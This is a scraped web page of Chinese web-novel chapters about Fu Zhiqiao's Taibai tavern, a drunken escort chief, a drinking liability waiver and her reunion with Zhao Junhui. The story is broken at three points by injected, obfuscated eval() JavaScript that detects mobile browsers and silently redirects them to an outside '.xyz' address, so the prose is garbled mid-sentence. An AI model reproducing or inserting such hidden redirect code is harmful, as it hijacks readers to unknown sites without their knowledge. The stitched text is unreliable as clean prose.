$(''#content'').append('' 厅里除了此起彼伏的点菜声之外,时不时还能听到食客们对菜色的赞许声。 “这道酒香芙蓉鸭脯细嫩而不腻,搭配着太白酒简直是一绝啊!” “我觉得清酒鱼片更好吃一些,鱼片细嫩爽滑,伴着微微的辣味,吃上一口妙不可言!” 当然,也会有不和谐的声音出现。 “太白酒的酒劲大,还请客官小口饮用为好。”面对小二的提醒,大汉很是不爽:“废什么话呢?还要你来教我怎么喝酒?” 说话的人名叫齐大虎,是京城第一镖局的镖头,与他同行的人也有点不高兴:“喝口酒还有这么多规矩?” 面对刁难小二也只好陪着笑,躬身退了下去。 齐大虎并未听小二的劝,大口喝酒大口吃肉才是他们江湖人的风范,他甚至没有用酒杯,直接拿起酒壶灌了一大口酒进嘴里。 但是,下一秒他直接喷了出来,这番动静直接引来大家的哄笑。 齐大虎面子上过不去,直接对着笑他的人骂道:“你们笑什么笑?有什么好笑的?” 齐大虎身材高大,皮肤黝黑,此时一脸的怒容,他那凶神恶煞的眼神吓坏了邻桌的客人,小二连忙过去安抚其他客人的情绪。 见其他人不敢再笑自己,齐大虎冷哼一声,把注意力重新放回到了酒上。 他咳嗽两声清了清喉咙,跟友人解释:“刚刚那一口喝的太急了,不小心才被呛到的。” 绝不能承认是酒劲太大了! 有了第一口的教训,这次齐大虎不敢自大了,按照小二的说法,先闻酒香再小口品酒。 “啧啧,这个太白酒倒是有些意思!”,与这太白酒一比,齐大虎觉得自己以前喝的那些酒简直就是白水,无滋无味的。 好酒配好菜,两壶酒很快就被他们喝完了。 “小二,上酒!” 在一楼大厅负责接待的小二叫王有正,听到客人呼唤后他一路小跑过来,到了跟前发现要服务的人正是刚刚为难自己的客人,他低眉颔首:“客官,您有何吩咐?” “再给我们上两壶太白酒!” 王有正看了看桌子上被喝空的酒壶,有些为难:“客官,不好意思,本店规矩一桌最多两壶太白酒,您二位怕是不能再喝了……” 白酒的酒劲大,这位客人一看就不是个好脾气的,王有正担心他们喝醉后在酒楼里闹事。 听在齐大虎耳中却变成了王有正看不起他的酒量。 齐大虎猛地一拍桌子:“你是在看不起我的酒量?” 王有正脸色一白,弯腰解释道:“您误会了,我不是这个意思!” “那你说说,不给我上酒是什么意思?” 齐大虎质问的声音十分突兀,引得其他客人频频侧目。 德福见状走了过来,把王有正挡在自己身后,笑着说:“客官请息怒,如果小店有什么招呼不周的地方,还请两位客官海涵,海涵。” 齐大虎和同行的友人已经喝完了两壶太白酒,酒劲渐渐上来,他脸色略微酡红,打了个酒嗝,掏出一张银票“啪”的一声拍在桌上,“掌柜的,银子不是问题,再给我来两壶酒。” 德福脸上堆满了笑,但却没有要妥协的意思:“您只有两位客人,我们最多只能提供两壶酒,您若实在想喝可去柜台处买一坛回家。” “什么?” “实在对不住,一人最多一壶酒是小店规矩。”德福无奈回答。 一人最多一壶酒的规定是傅知乔定下来的。 太白酒的酒精度数很高,任由客人在店里饮酒过量发生意外怎么办?过量的酒精留存在体内不能及时代谢出去,会导致血管扩张,严重的可能会导致死亡,万一客人在太白楼里喝多了酒,把自己喝死了这个责任她没没法担。 更何况,一壶酒有八两重,这个量已经不少了。 齐大虎站起身来怒骂道:“你可知道我是谁?敢不给我提供酒?” 82. 酒后免责书 他的友人在一旁搭腔:“京城第一镖局总镖头齐大虎在此,赶紧给我们上酒!” 在座的人听到齐大虎的来头后,纷纷收起了自己那颗打抱不平的心,普通人也就算了,总镖头谁打得过? 兴正镖局作为京城的第一镖局,在民间的名气并不小,齐大虎身为总镖头,以一打五的功夫是有的。 兴正镖局业务广泛,不但承接私家财物保送,还有帮人看家护院、保护商馆等活计。 靠近年关,镖局不再承接一些路途遥远的任务,齐大虎才有空出来吃喝玩乐。 傅知乔刚从二楼下来就看到有人亮了刀子:“发生了何事?程业玄呢?” 站在柜台算账的龚安阳见到傅知乔,把事情的来龙去脉简单说了下:“程师傅在后院换班,已经派人去请了。” 太白楼里是有护卫的,谁能想到短短换班的时间里就发生了这种事? 听完龚安阳的解释,傅知乔明白这个人是借着酒劲闹事,她心里有了对策,吩咐龚安阳:“去拿纸笔来!” 很快,傅知乔写好了一页纸递给龚安阳,吩咐银杏带他去盖章:“快去盖上酒楼的印章!” “何人在太白楼闹事?” 傅知乔走到齐大虎面前,大家的注意力都被她吸引过来。 在众人目光注视之下,德福弯腰对傅知乔躬行礼:“姑娘!” 齐大虎皱着眉看向傅知乔,“你是这里的管事?” 傅知乔没有回答他的话,对着大厅里所有人:“太白楼有规矩,故意闹事者会拉入黑名单,今后永不得进入太白楼!” 其他的客人听到此话不禁瞪大眼睛,惊讶于太白楼还有这样奇怪的规矩。 几息之后,齐大虎反应过来,自己居然被一个年轻女子的气势压制住了。 齐大虎原本烦躁的心情再也抑制不住,他一拍桌子,包裹在布中的长刀悍然出鞘,闪烁出冷冽的寒芒。 长刀在手的齐大虎,气场立马变得凌厉起来,他单手握刀,泛着冷意的刀锋定在傅知乔鼻尖一寸处。 鸡皮疙瘩瞬间覆盖了全身,傅知乔甚至都能够感受到那到刀尖传来的寒意。 眼看场面即将一发不可收拾,其他看热闹的客人们都惊呼出声,然而傅知乔依旧面无表情。 她知道此时自己不能露怯,一旦她露怯了,对方就会更加变本加厉。 * 赵均回刚走进太白楼里,就看到一个有些熟悉的背影。 他有些不敢相信自己的眼睛,宛如被施了定身咒一般愣在了原地,周遭的一切都失去了色彩,他的目光死死盯着那个背影。 小厮来宝顺着他的视线望过去,只看到一群人聚在一起,这有什么稀奇的?为什么公子一直盯着那边看? “公子?”来宝唤了两声,赵均回从恍惚中恢复过来。 一步两步三步……他越走越近,这次终于看清了傅知乔的脸。 是傅姑娘没错! 赵均回一颗心砰砰砰跳个不停,看到傅知乔被人拿刀指着,他来不及多想,呵斥道:“住手!” 齐大虎不耐烦转头:“你又是谁?敢管老子的闲事?” 傅知乔回头,愣了好几秒才想起这人是谁,她的脸上浮现出片刻的诧异,赵均回,他怎么在这? 还不等赵均回说话,程业玄赶到了,他一剑挑开了指着傅知乔的大刀,把傅知乔护在身后。 傅知乔收回猜测赵均回怎么在这儿的心思,更重要的是将眼前这麻烦给解决了。 齐大虎和程业玄一人拿刀一人持剑,两人对峙着,气氛剑拔弩张,好似下一秒就要打起来。 而在周围看热闹的客人们也终于按捺不住了,城门失火殃及池鱼,万一他们打架伤到自己就不好了,所有人不约而同的站起身来想要离开这个是非之地。 赵均回神色严肃看着齐大虎:“你是哪家的?” 齐大虎回呛:“你管我是哪家的!” 赵均回不怒反笑:“按照大魏律令,持械斗殴伤人者,处以笞刑,罚金十两。”他的一番话,暂停了众人想要离开的动作。 赵均回相貌俊朗,气度出众,很快就有人认出他的身份,交头接耳地议论起来。 “你看,他像不像今年的探花郎。” “我瞧着也像,长得这般年轻俊美,今年的游街我去看了,探花郎好像就长这样!” “嚯!状元郎的年纪都三十往上了,怎么探花郎这么年轻?” “不得了啊,这么年轻的探花郎估计百年都未必能够出一个,将来极有可能会拜相封侯。” “我可是听人说了,当今状元郎是个已经娶妻生子中年男子,可榜眼和探花都还未娶妻呢!” 自从与傅知乔退亲后,赵均回更加发愤图强,闭门苦读一年之后,他选择了下场参加科考,并在今年八月一举考中了探花。 状元游街那日,京城里可谓是万人空巷。 百姓们自发走到街上围观,老人们带着自家孩子前来观礼想沾一沾状元的喜气,姑娘们都打扮得花枝招展,伸长了脖子想一睹新科进士的风采。 羽林军先行开道,伴随着敲锣打鼓声,新科进士们身穿大红袍,走在最前头的是状元,其次是榜眼、探花,他们骑着高头大马走在朱雀大街上,百姓把街道两旁围得水泄不通。 游街那日,赵均回的风头隐隐有盖过状元的架势。 原因也很简单,年轻才俊实在养眼呐! 长相俊俏的赵均回,在一众三四十岁的人里那是鹤立鸡群一般的存在。 赵均回现在在翰林院任编修一职,虽然只是七品的官儿,但他的主要工作是帮助皇上起草文书,皇帝有意要扶持寒门学子,赵均回正好踩在了风口上。 探花郎的排名虽不如状元郎,但名气丝毫不弱。 此时距离游街才过去几个月,自然有人记得赵均回的长相,所有人的视线下意识就落在了他的身上。 齐大虎酒劲上来了,但也不是傻子,民不与官争的道理谁都明白,他再横也不敢与朝廷官员对上。 面对此情此景,低头道歉的事他也干不出来。 对着一个年轻小女子低头认错,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14019779|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事传出去不但损失他的颜面,连带着京城第一镖局的威风都要下降不少。 齐大虎死要面子,但他的友人很会审时度势,出来打圆场:“对不住,实在对不住!我们喝醉了,还请这位大人不要见怪!” 本来是自己占理的一方,这一道歉反而把自己置于不利的位置了,齐大虎当即板着脸说:“你到什么歉啊?是他们先不给我酒喝的!大伙来说说,哪有酒楼不给人酒喝的?” 开门做生意,哪有不给客人酒喝的道理? 这话引起了不少人同意,有胆子大的人开口劝道:“掌柜的,他要喝你就把酒给他吧,又不是不付银子。” “没错!让他喝吧!” “酒楼里不让人多喝酒,这个规矩真是前所未有。” 有好酒却喝不到,多么的折磨人啊! 很显然,客人们对都找这个规矩都感到不解。 一人仅限一壶酒是傅知乔定下来的规矩,她是担心有人喝醉了在太白楼里闹事,京城里满是权贵,万一有人在她这里出了事,她可担不起。 不过,实在有客人贪酒也不是没有办法,签下一份免责书即可。 “银杏!”傅知乔喊了一声,银杏从她身后跑出来,恭敬地回答:“姑娘,章盖好了。” 傅知乔接过银杏递过来的纸,拿到齐大虎面前:“签了这张酒后免责书,只要付得起银子,以后太白楼的酒你想喝多少就喝多少!” 齐大虎看清了“酒后免责书”几个大字,其他密密麻麻的小字看得他眼睛痛。 “什么玩意,喝个酒还要签字画押,万一你拿一张卖身契骗我怎么办?” 傅知乔不为所动,面无表情的回道:“想要喝酒,必须签下这份免责书!” 齐大虎不耐烦看这么多字,把目光望向了邻桌,他对着一个书生模样的人说:“你,来给我看看这到底是不是卖身契?” 齐大虎身上的煞气很重,书生颤颤巍巍的接过免责书,一看:“掌柜的说的没错,这是免责书,不是卖身契。” “来,你给我念念!” 书生夹在刀和剑两方队伍中间,他感觉自己就要晕过去了,哪里还看得清免责书上的内容。 赵均回见状接过书生手里的免责书,“我来念,你可有意见?” 齐大虎哼哼两声,不敢不同意。 “本人今日强迫太白楼供酒,若本人喝醉后失去理智在酒楼内摔杯砸碗,造成酒楼和其他客人的损失,本人愿意依价赔偿,醉酒后离开发生意外或死亡情况均与太白楼无关,本人以及家人绝对不会追究太白楼的责任,一切后果均由本人承担。” 赵均回念完,在场所有的人都愣住了,转而不可思议的看像傅知乔。 这是什么新花样? 齐大虎和友人对视一眼,此次都看见了对方眼睛里的惊讶。 傅知乔:“你签不签?不签就不能多喝太白酒。” “哼!签就签,老子还怕你不成!” 德福闻言立即给站在旁边的王有正使了个眼色,王有正连忙把印泥递到齐大虎手边。 83. 再见赵均回 齐大虎冷哼一声,在免责书上按下自己的手印。 就这样,太白楼第一份酒后免责书诞生了! 傅知乔笑的人畜无害,给在场的人展示齐大虎已经签好的免责书:“今日就请大伙都来做个见证,从今往后,若还有客人想要在太白楼畅饮美酒,只要签下一份免责书,保证自己酒后的所作所为,无论造成什么样的后果皆与太白楼无关即可。” 随后她喊了一声:“来人,给这位客人上酒!” 小二的上酒速度很快。 “这还差不多!”齐大虎的目的达到了,当下也不再嚷嚷。 德福跟其他客人拱手表示歉意:“各位请回桌吧,再不吃菜都要凉了。” “傅姑娘,请留步。”来宝一直在太白楼大堂门口等着,看到傅知乔要从太白楼里出去,他急忙追上前阻拦。 傅知乔看着他,有些疑惑的开口询问:“你是?” “傅姑娘,小人叫来宝,我家公子是赵均回。”来宝听到傅知乔提问,朝着她作了作揖,做了个有请的动作:“我家公子在二楼的雅间等您。” 傅知乔听到赵均回想要见她,眼睛微眯了一下,随即又恢复了往常的神色。 赵均回如今是炙手可热的探花郎,有官职在身,不是她想不见就不见的人。 太白楼二楼的雅间内。 赵均回坐在主座上,低垂着眼帘,眼中思绪翻涌,他脑海中曾想象过无数次与傅知乔再见面的场景,唯独没有想到会看到傅知乔被人拿刀指着。 来宝把傅知乔带到了二楼的第三间雅间,敲了敲门:“少爷!” “咯吱”一声,雅间的门被推开。 赵均回猛地抬头,屏风后面印着一个模糊的身影,越走越近,他忍不住屏住呼吸。 时隔两年,他终于再见到了她。 他终于再次看见了那双不染一丝浊气的眸子。 惦念了两年的人,此刻就站在离自己不足一尺远的地方,赵均回说不出自己是什么感受,只觉得周围一切都是安静的,安静到他只听到自己心跳的声音。 “傅姑娘,好久不见!”赵均回嘴角带笑,语气温柔,眼睛里满是惊喜之情。 喉咙轻轻的滚动着,赵均回压下心中的悸动,强迫自己把目光从她脸上移开。 傅知乔目光一闪,颔首打招呼:“赵公子。” 打完招呼后气氛突然沉默了下来。 先是定亲然后又退亲,两人之间的关系还是有点尴尬的。 为避免孤男寡女共处一室引出些不好的传言,来宝和银杏两人也一同进了雅间,他们站在屏风后,把说话的空间留给两人。 傅知乔的视线落到了赵均回身上,说实话,她对赵均回的记忆并不深刻,开口:“刚才的事,多谢你帮忙。” “举手之劳而已。” 傅知乔露出一抹极为浅淡的笑容:“还未恭喜赵公子得偿所愿呢。” 赵均回不自觉地抿了抿嘴唇,拘谨的眉头渐渐舒展开来。 气氛突然之间就融洽起来。 “傅姑娘,你怎么会在京城?”话一出口,赵均回就感觉到了不妥,这话听起来有几分像质问的意思,他急忙找补回来,“呃,我的意思是……” 赵均回并不知道傅知乔已经脱离傅家很久了,这两年间,他也有私底下派人去打听过她的消息,可外界只有傅家长房去乡下养病的消息,除此之外他一无所获。 如今突然在京城相遇,他还以为傅知乔是遇到了什么难事,才被迫离开禹州来到京城。 傅知乔并未解释太多,只说自己现在在京城做生意。 “太白楼是你的产业?”赵均回有点诧异,她一个弱女子离开家乡,远赴京城做生意,这里头不知道吃了多少苦…… 赵均回张了张嘴,想说自己可以帮她,他如今已有功名在身,不再是以前那个婚事都不能自己做主的赵均回了。 可话到嘴边怎么都说不出口,他已经负过她一次了,此刻时机和场合都不对,赵均回将心中的想法强压了下去。 赵均回眼睛亮亮地盯着她,虽没说一个字,但其中的意思傅知乔看的很明白,这是还盼着能跟她再见面。 傅知乔收回心绪:“时候不早了,我还有事,就先告辞了。” 傅知乔的态度疏离,赵均回又怎么会看不出来。 直到傅知乔的身影消失不见,他才回过神来,苦笑道:“失去了你,又怎么能说我得偿所愿?” 如果傅知乔现在在禹州,两人相隔如此之远,他还能说服自己跟她没有缘分。 可如今,他在京城当差,她也在京城开酒楼…… 或许,是上天想要多给他一次机会。 他情不自禁的把手放在胸口,心脏“砰砰砰”地跳个不停。 * 自从太白楼开业,连带着有些冷清的六合巷也热闹了起来。 大雪天气里人们很难外出劳作,很多时候都选择待在室内,这直接导致京城里的茶馆、酒肆、吃食铺子的生意好到不行。 太白楼也不例外,每天都是宾客盈门。 外面大雪纷飞,太白楼内有酒有菜,服务又贴心,在这样的酒楼里吃点美食,品品美酒,日子过的好不快活! 来太白楼用膳的客人,大部分人都是冲着太白酒的名头来的。 每个喝过太白酒的人都达成了一个共识:只要喝过太白楼的酒,再喝其他的酒顿时就感觉不香了。 如此大的褒奖也让许多人怀疑,这太白酒的名气是否言过其实了。 “太白酒不但好喝,也很醉人!难怪掌柜的定下了只让人喝一壶的规矩,我是不喝不知道,喝了才发现自己连半壶太白酒都受不住!” “可不是嘛,太白酒已经这么够味了,真想尝尝特级太白酒是什么滋味。” “太白酒太烈了,还是青梅酒合我心意,别看青梅酒喝起来是酸酸甜甜的,它的果香和米香融合的很好,是一款男女皆宜的美酒!” “没错!谁说青梅酒是女人喝的酒?我们男人难道就不能也喜欢酸甜口味吗?” 这番有些孩子气的言论笑倒了一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14093323|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片人,更别提这话还是一个蓄着络腮胡子的大汉说出口的,酒楼里的气氛更加热闹起来。 “哈哈哈……来干杯!”杯盏相碰,发出叮当脆响。 太白楼的名气与日俱增,越来越多的人想过来一探究竟,进来之后发现太白楼里不止是酒好喝,连菜肴也是色香味俱全,就连菜单也做成了书本的样式供客人翻看。 菜单做的很厚,每一页都有一个菜的详细介绍,画出了菜品的大概样式,旁边还标清楚了名称和价格。客人们翻一翻就知道了菜品是什么样子,卖什么价格,点菜时可以根据自己的消费能力来点,不必在大庭广众下跟小二询问菜价,如此贴心方便的菜单形式自然是再次受到了大家的夸赞。 太白楼的酒水定价都不便宜,但却仍旧挡不住人们的喜爱。 在外头,特级太白酒的价格已经炒到几百两银子一坛,有钱也不一定能买到。 对于很多爱酒之人来说,买不到特级太白酒,在太白楼花点钱喝普通太白酒解解馋也是不错的选择。 除此之外,还有很多人对太白楼推出的酒后免责书很感兴趣,甚至有人热衷把它当做证明自己酒量的凭证。 什么?你连太白楼的酒后免责书都没签,怎么好意思说自己酒量好的? 这导致更多的人闻风而来,想在此用太白酒证明自己的酒量。 没过多久,太白楼里的免责书就攒了一大摞。 别看客人们签免责书的时候很痛快,实际上大多数人的酒量都不行,喝半壶酒太白酒就倒了,能将一壶酒喝完的人已是少数,喝完两壶酒的人更是少之又少。 齐大虎那日足足喝了三壶酒,先前他与友人一人点了一壶酒,齐大虎不但把自己那壶酒给喝完了,连友人的那壶酒也被他喝去了大半。 两壶酒见了底,齐大虎跟友人却还未尽兴,这才有了后面吵闹着要酒喝的画面。 最后,齐大虎至少喝了三壶太白酒。 整整三斤酒啊! 傅知乔知道后也感到很意外,这可不是什么普通的米酒,是酒精度数很高的白酒! 齐大虎是她在大魏见过最能喝的人,之前目前还没见过比他还能喝的! 那日齐大虎在酒楼里冲突,现场有不少客人亲见目睹,探花郎赵均回也参与其中,这又给京城的百姓们增添了不少谈资。 种种契机之下,齐大虎出名了。 准确的说,是他的酒量在京城出名了。 在太白楼喝了三壶酒的战绩至今无人打破,这让齐大虎的名气在京城急剧增加,酒量如此之好,武艺定然也很高强,越来越多人指名要齐大虎押镖。 齐大虎本人也哭笑不得,他大半辈子走镖的名气居然还抵不过在太白楼喝三壶酒。 他的名气是在太白楼获得的,齐大虎找到傅知乔表达谢意,同时也表达了歉意,说自己当日无意在太白楼闹事,请求她原谅云云。 傅知乔当即表示齐大虎太客气了,她并不在乎齐大虎是个怎样的人,更何况,在这件事中,太白楼也可以说得上是获利的一方。 84. 名气初显 太白楼的名气仅限于六合巷附近,远比不上已经出名的大酒楼。 “琼鲜楼的菜肴酒水都比不上我们,生意却好于我们,这说明了好酒好菜只是其中一小部分,人们去什么样的酒楼用膳,背后象征的是他的身份和地位……” 琼鲜楼位于京城最繁华的街道,达官贵人,富豪乡绅都喜欢来这里吃饭。 一般来说,稀缺、昂贵的东西都是给有身份地位的人群使用的。 琼鲜楼高端的印象已经深入到京城的每个人心中,与他们硬碰硬太白楼肯定不是对手,傅知乔只能想办法开辟出一条属于自己的路。 “客人们来我们太白楼喝的是佳酿,吃的是佳肴,享受的是我们服务,是酒楼环境带给他们的愉悦感,所以,服务态度一定要抓好!” 傅知乔叮嘱德福,要好好培训酒楼的小二们,酒楼的规矩一定要牢记。 在傅知乔的要求下,太白楼在菜品质量、酒水质量、服务态度三个方面抓得十分严格,几乎所有来到太白楼的食客都对这里的美食美酒赞不绝口。 最初只是大家互相问一句,“你听说了吗?六合巷那儿新开了个太白楼,那里面的太白酒听说滋味很不错,改天我们去尝尝?” 以往人们提起去酒楼吃饭,大多数人第一时间都会想到去琼鲜楼,但现在人们说上去酒楼吃饭,太白楼绝对在推荐行列里。 为了迎合不同消费层级的需要,太白楼的菜色并不是一味地追求贵,山珍海味、家常菜系在这里都能吃得到。 普通百姓偶尔想奢侈一把,上酒楼吃饭也会选择来太白楼。 清雅舒适的用餐环境、独特的酒菜、贴心的服务,店小二们统一穿着白衣黑裤,看上去干净又精神。 太白楼里良好的服务态度会让你觉得这钱花出去很值得,更重要的是太白楼的店小二并不踩高捧低,只要进入了太白楼,无论身份地位,无论你是雅间的客人还是大厅的客人,小二见到你后都会低头问好。 来太白楼吃饭喝酒,有一种普通人也能享受高级的贵宾服务的感觉。 这些都是其他酒楼无法比拟的,太白楼的出现,将京城原本平静的酒楼竞争局面搅得风起云涌。 见到太白楼的生意这么火爆,其他酒楼都是既羡慕又妒忌,他们费尽心思想知道太白楼究竟是什么来头。 怎么短短时间内就发展成的这么好了? 太白楼的前身是留香居,顺着这条线索找到了留香居原来的主人祥叔,接着他们又从祥叔那里顺藤摸瓜找到了当初介绍房子的牙人。 牙人哪里敢出卖世子爷,他隐晦的透露出当初买下留香居的好像是端亲王府的人,牙人言尽于此,不敢再透露更多了,说多了恐有杀身之祸。 端亲王府?那可是真正的天潢贵胄! 大多数人都下意识的缩了下脖子,太白楼后面的老板是端亲王这个消息,让所有人都不敢下手。 哪怕自己背后也有靠山,哪怕自己再怎么妒忌,他们也不敢对太白楼动什么歪脑筋,不敢去招惹王府的人。 * “王爷,我听说京城新开了一家有意思的酒楼,不如咱们一起去看看?” 说话的人是礼部尚书于昊英,他的妻子郭素兰把上次跟王妃的谈话内容告诉了他,听到自己有机会能跟端亲王府结为姻亲,这不,他马上就邀请谢驰出来吃吃饭喝喝酒,联络一下感情。 谢弛嘴角带着几分戏谑的笑:“怎么?于大人是舍不得银子么?怎么不请我去琼鲜楼了?” 琼鲜楼是他们最常去吃饭的地方,谢弛有点好奇,怎么于昊英突然要提议换地方吃饭。 于昊英轻咳了一声,笑着回答:“哪里的话,能请王爷吃饭是下官莫大的荣幸,下官听闻太白楼有一种清澈如泉水的特色酒,特想邀您一同去尝尝。” 谢弛听到特色酒后,露出感兴趣的笑容:“好,那今天就去太白楼。” 到了太白楼后已经是申时了,正是吃夕食的时候,太白楼里人满为患,生意十分火爆。 “小二,来一份姜酒鸭,一份酒香兔,再来一壶青梅酒!” “板栗炖鸡、清酒鱼片、莲蓬豆腐各一份,红豆粥两碗。” “给我来份火焰醉虾,还要米酒蒸鸡、酒香芙蓉鸭脯、如意金丝卷……再来两壶太白酒!” 大厅里时不时响起点菜的声音,夹杂着客人们交谈闲聊、欢笑声。 谢弛一走进来就看到这热闹的场景,他的视线从假山水池最后落在四周的装饰上,这太白楼确实是个有意思的地方。 站在门口的王有正第一时间发现了门外的生脸客人,他快步走上前去弯腰行礼,语气恭敬:“两位客官,实在对不住!一楼的座位还有十几个客人在排队等着,二楼的雅间全部预定出去了,只有三楼的豪华包间还有空,您看……” 王有正不认得谢弛和于昊英,但从看两人的穿着就能看出一二,这两位客人必定是个有钱的主儿。 于昊英听了王有正的话,想都没想便立马道:“我们要包间!” “好勒!请二位贵客移步三楼!” 谢弛和于昊英向三楼走去,其他在门口一侧等位置的人看着二人的背影,深深地叹了一口气,感叹道:“有钱真好啊!” 他们也想不用等位置,直接上三楼的豪华包间里吃饭,可三楼的收费太贵了,他们消费不起啊! 太白楼里每一层都有专门的接待人员,三楼共有“福寿、安康、吉祥、如意、澄心、清神”六个豪华包间,每个包间门口都有单独的服务人员,可以满足客人随时使唤。 包间里的每一扇窗户都经过设计,哪怕是坐下来也不遮挡视线,从窗户位置可以将大街上的风景尽收眼底。 安康包间里,谢弛坐下来连菜单都没看:“把你们店里的招牌菜都上一遍,太白酒也来两壶!”。 来自豪华包间的客人订单,后厨自然不敢怠慢,不出一刻钟左右,包间的专属接待员就带着人端来了满满一桌的菜。 于昊英拿起酒壶给谢弛倒酒:“王爷尝尝这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14173853|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太白酒,听说这个酒劲可是非同一般呐!” 谢弛接过于昊英递来的酒杯,轻嗅了一下,夸奖道:“好醇正的酒香!酒液如此清澈,味道却很香浓。” 于昊英:“方才那小二说了,太白酒需得慢慢喝,猛喝上一口可是要醉的!” 谢弛舔了舔嘴唇,仰起头喝了一小口,眼神中带着不可思议,这酒倒真是香醇浓郁,入口绵柔,下喉很顺,是难得的好酒! 看谢弛的反应就知道他很满意,于昊英有几分得意:“王爷,怎么样?这太白酒和您之前喝过的都不一样,对吧?” “不能比,不能比!” 夜幕很快降临。 谢弛和于昊英两个人你一杯我一杯愉快的喝着酒,吃的那叫一个心满意足。 渐渐地酒劲一上来,两个人都有些醉了,站都站不稳更别说走路了,最后两个人在自家小厮的搀扶下才离开酒楼。 回到王府。 “不用你们扶,我自己走!”谢弛摇晃着身子,迈着弯弯曲曲的脚步,好像下一秒就要摔倒在地了。 在两个小厮的搀扶下才勉强站住脚,他不停地打着酒嗝,嘴里还嚷嚷着:“好酒,好酒啊!今天这酒喝得就是痛快!” 左慕蕊有点嫌弃他身上的酒味:“怎么喝的这样醉醺醺的?” 小厮回答:“王爷和礼部尚书在太白楼里喝酒。” 太白楼?王爷往常不都是在琼鲜楼里喝酒的吗?怎么今天突然换地方了?左慕蕊有点好奇,就问了一嘴:“什么太白楼?” 这个地方怎么听起来有点耳熟?章嬷嬷想了想,提醒她:“王妃,太白楼好像是傅姑娘开的酒楼。” 傅姑娘?是傅知乔? 左慕蕊眉头一皱:“仔细说说!” 再次听到傅知乔的名字,左慕蕊的情绪变得复杂起来。 自从上次在傅知乔那里吃了瘪之后,左慕蕊便没有再关注她的事了。 反正有她左慕蕊在一天,傅知乔那小丫头就别想进王府的门,所以她并不知道傅知乔在京城开酒楼的事情。 章嬷嬷是左慕蕊的得力助手,是她的另一双眼睛,左慕蕊不清楚的事,章嬷嬷必须要知道的一清二楚才行。 “太白楼是傅姑娘上月新开的酒楼,如今在京城的名气可不小。”章嬷嬷简单的跟她讲了下太白楼的消息。 左慕蕊听后垂眼说了一句,“当真是好本事!” 章嬷嬷不会骗她,王爷在太白楼里喝了个醉醺醺是事实,看来这个傅知乔真的有点本事,至少在经商一事上很有头脑,并不是什么花瓶美人。 章嬷嬷安静的站在一旁,她也拿不准王妃娘娘这话到底是夸还是讽。 “她可有与怀砚接触?” “据奴婢所知,没有。” “算她识相!” 想到傅知乔上次顶撞自己的话,左慕蕊冷哼一声,会做生意又怎么样?她傅知乔再聪明再能干,也不过是个卑微的商户之女罢了,世家与商户之间的差距不是她能想象的。 85. 京城过年 十二月底,彭高飞过来交付太白酒的货款,太白酒已经成为彭家酒肆卖的最好的酒了,彭高飞满脸喜气,跟傅知乔说着市面上特级太白酒供不应求的情况。 等他一离开,银杏便忍不住问傅知乔:“姑娘,我们酒楼里也不是也卖太白酒吗?为何还要和彭家酒铺合作?平白让他们分走许多银钱。” 银杏对于傅知乔将太白酒的利益分给彭高飞的行为非常不解,这段时间傅知乔忙里忙外,熬夜写计划书,她的辛苦银杏都是看在眼里的,她家姑娘辛辛苦苦赚来的钱为什么要分给别人? 傅知乔闻言哈哈一笑,捏了捏银杏的脸:“因为你家姑娘懒啊!” 银杏:…… 傅知乔摆正了神色,告诫银杏:“我们做生意的,不能想着把所有的好处都占了。” 太白酒的运输是个比较棘手的问题,陶罐做成的酒坛很容易碎,运输时要打木架子固定位置防止摇晃,还要在箱子里面放入大量的稻草进去缓冲防撞。 “将太白酒从青州运到京城,这其中的人力物力都不用我们负责,路上破损的损失也不用我们承担,除此之外,彭家有自己的商队,一路上请镖师的钱我们也省了,这样难道不好吗?” 在傅知乔看来,与彭高飞合作是双赢的局面。 从开业那天起,太白楼就一直保持着良好的势头,月底核算账本的时候,太白楼的进项已经达到日进斗金的程度。 知道太白楼的生意火爆,余柔岚更是笑得合不拢嘴。她早就走出了失去丈夫的阴影,如今女儿事业有成,她自己在管账一事上做得也很好。这一年来,她的日子过的无比松快,脸上的气色也越来越好了,整个人看上去年轻了好几岁。 人越活越年轻,越说明她的生活状态是幸福的。 太白酒在京城卖的很好,太白楼的生意已经步入了正轨,扶云阁开店一事也要筹备起来了。 扶云阁是一定要开的,赚不赚钱是其次,扶云阁最大的作用是帮助她积攒人脉。 傅知乔当初就是凭借自己的化妆手艺和几道养颜粥才和周妙思搭上关系,然后周妙思又带她结识了秦惜玉等人……她一个没有背景的平民商户,能与这些贵女结为好友全靠自己的知识与手艺! 傅知乔手指不停的敲打着桌面,以京城贵女对美的追求,她相信,扶云阁的运营模式在京城一定吃得开! 